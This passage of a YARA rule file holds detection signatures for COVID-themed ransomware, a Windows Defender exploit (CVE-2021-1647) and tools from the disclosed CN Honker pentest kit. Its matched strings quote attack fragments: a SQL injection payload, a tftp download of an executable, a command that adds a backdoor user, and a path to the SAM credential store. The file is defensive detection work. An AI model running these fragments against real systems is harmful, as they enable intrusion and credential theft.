		hash2 = "e6c5b55586e9d99551adc27a0fc9c080cea6201fae60104b82d5a2ec518fafb6"
		hash3 = "80f278b7268ea6814f8b336e07c5f4b03289519e199fbe4cbd9ef6a38cf25df6"
		hash4 = "3a0a758525883a049a42312e46a023076c31af23b5e8e5b81fec56d51e4c80fb"
		hash5 = "bc252ede5302240c2fef8bc0291ad5a227906b4e70929a737792e935a5fee209"
		hash6 = "d9db7d32949c4df6a5d9d0292b576ae19681be7b6e0684df57338390e87fc6d6"
		hash7 = "7bb705701ae73d377f6091515a140f0af57703719a67da9a60fad4544092ee6c"
		hash8 = "e743c6e7749ab1046a2beea8733d7c8386ea60b43492bb4f0769ced6a2cee66d"
		id = "8989379a-6cd9-52ba-be18-5d402a440758"

	strings:
		$s1 = "Execute" ascii
		$s2 = "Process WriteParameterFiles" fullword ascii
		$s3 = "WScript.Shell" fullword ascii
		$s4 = "STOCKMASTER" fullword ascii
		$s5 = "InsertEmailFax" ascii

	condition:
		uint16( 0 ) == 0xcfd0 and filesize < 200KB and all of them
}

rule MAL_RANSOM_COVID19_Apr20_1
{
	meta:
		description = "Detects ransomware distributed in COVID-19 theme"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://unit42.paloaltonetworks.com/covid-19-themed-cyber-attacks-target-government-and-medical-organizations/"
		date = "2020-04-15"
		hash1 = "2779863a173ff975148cb3156ee593cb5719a0ab238ea7c9e0b0ca3b5a4a9326"
		id = "fc723d1f-e969-5af6-af57-70d00bf797f4"

	strings:
		$s1 = "/savekey.php" wide
		$op1 = { 3f ff ff ff ff ff 0b b4 }
		$op2 = { 60 2e 2e 2e af 34 34 34 b8 34 34 34 b8 34 34 34 }
		$op3 = { 1f 07 1a 37 85 05 05 36 83 05 05 36 83 05 05 34 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 700KB and 2 of them
}

rule EXPL_CVE_2021_1647_Apr21_1
{
	meta:
		description = "Detects samples that exploit CVE-2021-1647"
		author = "Arkbird_SOLG"
		reference = "https://attackerkb.com/topics/DzXZpEuBeP/cve-2021-1647-microsoft-windows-defender-zero-day-vulnerability"
		date = "2021-05-04"
		hash1 = "6e1e9fa0334d8f1f5d0e3a160ba65441f0656d1f1c99f8a9f1ae4b1b1bf7d788"
		hash2 = "9eaea8a56c47524f6d6b2e2bb72d035c1aa782a4f069ef9df92a0af5c6ee612b"
		hash3 = "db0e53c9db41d4de21f4bbf1f60d977f5d935239d3fce8b902e8ef0082796cc7"
		hash4 = "24d9ff44affea06435829507e8e6cb4b659468aa2af510031ed963caf5a6d77a"
		id = "ecce018e-1bee-5374-b6c8-984c2a8c2530"

	strings:
		$seq1 = { 83 7d ec 01 0f 8e fe 76 ff ff 83 45 f4 01 83 7d f4 01 0f 8e e4 76 ff ff 8b 45 e4 89 04 24 e8 12 74 ff ff 83 ec 04 a1 [2] 01 b1 85 c0 75 0e 8b 45 e4 89 04 24 e8 fb 73 ff ff 83 ec 04 a1 28 ?? 01 b1 c7 44 24 04 00 00 00 00 c7 04 24 00 00 00 00 ff d0 83 ec 08 b8 00 00 00 00 c9 c2 04 00 55 89 e5 83 ec 10 c7 45 f4 00 ?? 01 70 8b 45 08 83 e8 01 a3 70 ?? 01 b1 c7 05 74 ?? 01 b1 00 00 00 00 c7 05 a0 ?? 02 b1 00 00 00 00 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 }
		$seq2 = { a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 74 1d a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 74 1d a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 75 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc c7 45 f8 00 00 00 00 eb 19 8b 45 f8 05 e2 ff ff 7f 8d 14 00 8b 45 fc 01 d0 66 c7 00 01 00 83 45 f8 01 83 7d f8 3b 7e e1 8b 45 fc }

	condition:
		filesize > 10KB and filesize < 10000KB and all of them
}

rule CN_Honker_MAC_IPMAC
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file IPMAC.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "24d55b6bec5c9fff4cd6f345bacac7abadce1611"
		id = "5424d3a7-765a-5dfb-9177-d5633f83079f"

	strings:
		$s1 = "Http://Www.YrYz.Net" fullword wide
		$s2 = "IpMac.txt" fullword ascii
		$s3 = "192.168.0.1" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 267KB and all of them
}

rule CN_Honker_GetSyskey
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file GetSyskey.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "17cec5e75cda434d0a1bc8cdd5aa268b42633fe9"
		id = "08f5b5b1-3085-5bf1-9789-023be5a039f8"

	strings:
		$s2 = "GetSyskey <SYSTEM registry file> [Output system key file]" fullword ascii
		$s4 = "The system key file \"%s\" is created." fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 40KB and all of them
}

rule CN_Honker_Churrasco
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file Churrasco.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "5a3c935d82a5ff0546eff51bb2ef21c88198f5b8"
		id = "58873cd6-0c9e-58a0-923a-aca8a1d42017"

	strings:
		$s0 = "HEAD9 /" ascii
		$s1 = "logic_er" fullword ascii
		$s6 = "proggam" fullword ascii
		$s16 = "DtcGetTransactionManagerExA" fullword ascii
		$s17 = "GetUserNameA" fullword ascii
		$s18 = "OLEAUT" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1276KB and all of them
}

rule CN_Honker_mysql_injectV1_1_Creak
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file mysql_injectV1.1_Creak.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "a1f066789f48a76023598c5777752c15f91b76b0"
		id = "39025a57-557a-53c0-bfdb-81fe83f824af"

	strings:
		$s0 = "1http://192.169.200.200:2217/mysql_inject.php?id=1" fullword ascii
		$s12 = "OnGetPassword" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 5890KB and all of them
}

rule CN_Honker_ASP_wshell
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file wshell.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "3ae33c835e7ea6d9df74fe99fcf1e2fb9490c978"
		id = "028136cd-129b-5d58-a4c2-ba730a798c06"

	strings:
		$s0 = "<%@ LANGUAGE = VBScript.Encode %><%" fullword ascii
		$s1 = "UserPass="
		$s2 = "VerName="
		$s3 = "StateName="

	condition:
		uint16( 0 ) == 0x253c and filesize < 200KB and all of them
}

rule CN_Honker_exp_iis7
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file iis7.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "0a173c5ece2fd4ac8ecf9510e48e95f43ab68978"
		id = "edfafc9a-032a-5ccb-9a1f-faeab0dfa31d"

	strings:
		$s0 = "\\\\localhost" fullword ascii
		$s1 = "iis.run" fullword ascii
		$s3 = ">Could not connecto %s" fullword ascii
		$s4 = "WinSta0\\Default" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 60KB and all of them
}

rule CN_Honker_SegmentWeapon
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file SegmentWeapon.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "494ef20067a7ce2cc95260e4abc16fcfa7177fdf"
		id = "e1b6f721-4c4d-50f2-9ed6-f38e8e7ea4ab"

	strings:
		$s0 = "C:\\WINDOWS\\system32\\msvbvm60.dll\\3" fullword ascii
		$s1 = "http://www.nforange.com/inc/1.asp?" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule CN_Honker_Alien_iispwd
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file iispwd.vbs"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "5d157a1b9644adbe0b28c37d4022d88a9f58cedb"
		id = "e561c548-c656-5528-a2a8-2798a59ac6bf"

	strings:
		$s0 = "set IIs=objservice.GetObject(\"IIsWebServer\",childObjectName)" fullword ascii
		$s1 = "wscript.echo \"from : http://www.xxx.com/\" &vbTab&vbCrLf" fullword ascii

	condition:
		filesize < 3KB and all of them
}

rule CN_Honker_Md5CrackTools
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file Md5CrackTools.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "9dfd9c9923ae6f6fe4cbfa9eb69688269285939c"
		id = "16e04a66-0f6f-5b94-97c3-df62aa9406a9"

	strings:
		$s1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii
		$s2 = ",<a href='index.php?c=1&type=md5&hash=" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 4580KB and all of them
}

rule CN_Honker_CoolScan_scan
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file scan.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "e1c5fb6b9f4e92c4264c7bea7f5fba9a5335c328"
		id = "781446d2-3363-56c3-9767-c7ac70047b68"

	strings:
		$s0 = "User-agent:\\s{0,32}(huasai|huasai/1.0|\\*)" fullword ascii
		$s1 = "scan web.exe" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3680KB and all of them
}

rule CN_Honker_mempodipper2_6
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file mempodipper2.6.39"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "ba2c79911fe48660898039591e1742b3f1a9e923"
		id = "43a27968-adab-5f27-9b8c-8f0f895f0576"

	strings:
		$s0 = "objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed" ascii

	condition:
		filesize < 30KB and all of them
}

rule CN_Honker_COOKIE_CooKie
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file CooKie.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "f7727160257e0e716e9f0cf9cdf9a87caa986cde"
		id = "5f85bb0f-6df2-512c-ba1a-8a74c1a55563"

	strings:
		$s4 = "-1 union select 1,username,password,4,5,6,7,8,9,10 from admin" fullword ascii
		$s5 = "CooKie.exe" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 360KB and all of them
}

rule CN_Honker_wwwscan_1_wwwscan
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file wwwscan.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "6bed45629c5e54986f2d27cbfc53464108911026"
		id = "8b6a94a3-6f9c-59b2-931b-c06701b95d59"

	strings:
		$s0 = "%s www.target.com -p 8080 -m 10 -t 16" fullword ascii
		$s3 = "GET /nothisexistpage.html HTTP/1.1" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 180KB and all of them
}

rule CN_Honker_D_injection_V2_32
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file D_injection_V2.32.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "3a000b976c79585f62f40f7999ef9bdd326a9513"
		id = "4c661c35-61ee-5ee7-9b8e-9908fbe0362b"

	strings:
		$s0 = "Missing %s property(CommandText does not return a result set{Error creating obje" wide
		$s1 = "/tftp -i 219.134.46.245 get 9493.exe c:\\9394.exe" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 5000KB and all of them
}

rule CN_Honker_net_priv_esc2
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file net-priv-esc2.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "4851e0088ad38ac5b3b1c75302a73698437f7f17"
		id = "b4fa3129-57a3-55ee-8ca6-ecbcc135184e"

	strings:
		$s1 = "Usage:%s username password" fullword ascii
		$s2 = "<www.darkst.com>" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 17KB and all of them
}

rule CN_Honker_Oracle_v1_0_Oracle
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file Oracle.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "0264f4efdba09eaf1e681220ba96de8498ab3580"
		id = "0cebede9-f4ff-5efb-98bc-55df0ad656a3"

	strings:
		$s1 = "!http://localhost/index.asp?id=zhr" fullword ascii
		$s2 = "OnGetPassword" fullword ascii
		$s3 = "Mozilla/3.0 (compatible; Indy Library)" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3455KB and all of them
}

rule CN_Honker_Interception
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file Interception.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "ea813aed322e210ea6ae42b73b1250408bf40e7a"
		id = "40d350e5-c6af-58e2-a1d8-f9516af5f869"

	strings:
		$s2 = ".\\dat\\Hookmsgina.dll" fullword ascii
		$s5 = "WinlogonHackEx " fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 160KB and all of them
}

rule CN_Honker_sig_3389_DUBrute_v3_0_RC3_3_0
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file 3.0.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "49b311add0940cf183e3c7f3a41ea6e516bf8992"
		id = "994ad7e9-2019-54b3-84e6-2762a700c939"

	strings:
		$s0 = "explorer.exe http://bbs.yesmybi.net" fullword ascii
		$s1 = "LOADER ERROR" fullword ascii
		$s9 = "CryptGenRandom" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 395KB and all of them
}

rule CN_Honker_windows_exp
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file exp.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "04334c396b165db6e18e9b76094991d681e6c993"
		id = "148900d0-cf62-5cb0-adbc-52fa8ce8832e"

	strings:
		$s0 = "c:\\windows\\system32\\command.com /c " fullword ascii
		$s8 = "OH,Sry.Too long command." fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 220KB and all of them
}

rule CN_Honker_safe3wvs_cgiscan
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file cgiscan.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "f94bbf2034ad9afa43cca3e3a20f142e0bb54d75"
		id = "a9f7a195-deb8-5887-bc55-d1b0cac43182"

	strings:
		$s2 = "httpclient.exe" fullword wide
		$s3 = "www.safe3.com.cn" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 357KB and all of them
}

rule CN_Honker_pr_debug
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file debug.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "d11e6c6f675b3be86e37e50184dadf0081506a89"
		id = "6d759818-b762-56f4-8475-82a7d18a659c"

	strings:
		$s1 = "-->Got WMI process Pid: %d " ascii
		$s2 = "This exploit will execute \"net user temp 123456 /add & net localg" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 820KB and all of them
}

rule CN_Honker_T00ls_Lpk_Sethc_v4_0
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file T00ls Lpk Sethc v4.0.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "98f21f72c761e504814f0a7db835a24a2413a6c2"
		id = "d41cbed5-a6e3-5165-a8c3-e0375c1ed75d"

	strings:
		$s0 = "LOADER ERROR" fullword ascii
		$s15 = "2011-2012 T00LS&RICES" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2077KB and all of them
}

rule CN_Honker_MatriXay1073
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file MatriXay1073.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		modified = "2023-01-27"
		score = 70
		hash = "fef951e47524f827c7698f4508ba9551359578a5"
		id = "23e73b89-f60e-5bc3-8974-15be16d7c408"

	strings:
		$s0 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1" ascii
		$s1 = "Policy\\Scan\\GetUserLen.ini" fullword ascii
		$s2 = "!YEL!Using http://127.0.0.1:%d/ to visiter https://%s:%d/" ascii
		$s3 = "getalluserpasswordhash" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 9100KB and all of them
}

rule CN_Honker_Sword1_5
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file Sword1.5.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "96ee5c98e982aa8ed92cb4cedb85c7fda873740f"
		id = "832e4998-64fc-5f34-a46d-aeefde0ee763"

	strings:
		$s1 = "http://www.md5.com.cn" fullword wide
		$s2 = "ListBox_Command" fullword wide
		$s3 = "\\Set.ini" wide
		$s4 = "OpenFileDialog1" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 740KB and all of them
}

rule CN_Honker_Havij_Havij
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file Havij.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "0d8b275bd1856bc6563dd731956f3b312e1533cd"
		id = "b3640a32-b546-58c9-abb1-3da60dc6633c"

	strings:
		$s1 = "User-Agent: %Inject_Here%" fullword wide
		$s2 = "BACKUP database master to disk='d:\\Inetpub\\wwwroot\\1.zip'" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and all of them
}

rule CN_Honker_exp_ms11011
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file ms11011.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "5ad7a4962acbb6b0e3b73d77385eb91feb88b386"
		id = "fc092166-73cd-58f6-b034-a2fe2c5fb859"

	strings:
		$s0 = "\\i386\\Hello.pdb" ascii
		$s1 = "OS not supported." fullword ascii
		$s2 = ".Rich5" fullword ascii
		$s3 = "Not supported." fullword wide
		$s5 = "cmd.exe" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule CN_Honker_DLL_passive_privilege_escalation_ws2help
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file ws2help.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "e539b799c18d519efae6343cff362dcfd8f57f69"
		id = "85a07bb7-2856-56f0-bd15-e020bb2a7692"

	strings:
		$s0 = "PassMinDll.dll" fullword ascii
		$s1 = "\\ws2help.dll" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 30KB and all of them
}

rule CN_Honker_Webshell
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file Webshell.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "c85bd09d241c2a75b4e4301091aa11ddd5ad6d59"
		id = "12870766-2b85-522d-9ad8-abba2786caaf"

	strings:
		$s1 = "Windows NT users: Please note that having the WinIce/SoftIce" fullword ascii
		$s2 = "Do you want to cancel the file download?" fullword ascii
		$s3 = "Downloading: %s" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 381KB and all of them
}

rule CN_Honker_AspxClient
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file AspxClient.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		modified = "2022-12-21"
		score = 70
		hash = "67569a89128f503a459eab3daa2032261507f2d2"
		id = "7e38365c-ffe5-5fcd-8bd6-948d255d6e10"

	strings:
		$s1 = "\\tools\\hashq\\hashq.exe" wide
		$s2 = "\\Release\\CnCerT.CCdoor.Client.pdb" ascii
		$s3 = "\\myshell.mdb" wide
		$s4 = "injectfile" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and 3 of them
}

rule CN_Honker_Fckeditor
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file Fckeditor.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "4b16ae12c204f64265acef872526b27111b68820"
		id = "eb8767cb-b081-5c37-b7ad-57a0de047462"

	strings:
		$s0 = "explorer.exe http://user.qzone.qq.com/568148075" fullword wide
		$s7 = "Fckeditor.exe" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1340KB and all of them
}

rule CN_Honker_Codeeer_Explorer
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file Codeeer Explorer.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "f32e05f3fefbaa2791dd750e4a3812581ce0f205"
		id = "d4a88ae7-c0b2-57d2-a070-3dd748a30a3a"

	strings:
		$s2 = "Codeeer Explorer.exe" fullword wide
		$s12 = "webBrowser1_ProgressChanged" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 470KB and all of them
}

rule CN_Honker_SwordHonkerEdition
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file SwordHonkerEdition.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "3f9479151c2cada04febea45c2edcf5cece1df6c"
		id = "5688fa03-bcb0-545d-9fdf-7ab48a389424"

	strings:
		$s0 = "\\bin\\systemini\\MyPort.ini" wide
		$s1 = "PortThread=200 //" fullword wide
		$s2 = " Port Open -> " fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 375KB and all of them
}

rule CN_Honker_HASH_PwDump7
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file PwDump7.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "93a2d7c3a9b83371d96a575c15fe6fce6f9d50d3"
		id = "d61a1ac3-7c8a-5de2-a5a8-2a043b73f3b3"

	strings:
		$s1 = "%s\\SYSTEM32\\CONFIG\\SAM" fullword ascii
		$s2 = "No Users key!" fullword ascii
